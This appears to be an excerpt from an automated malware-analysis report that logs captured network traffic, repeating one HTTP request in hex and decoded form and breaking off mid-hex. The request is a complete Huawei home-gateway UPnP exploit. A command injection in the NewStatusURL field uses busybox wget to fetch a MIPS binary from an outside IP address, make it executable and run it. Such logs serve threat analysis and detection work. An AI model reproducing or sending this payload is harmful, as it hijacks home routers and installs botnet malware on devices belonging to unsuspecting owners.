3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
              Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 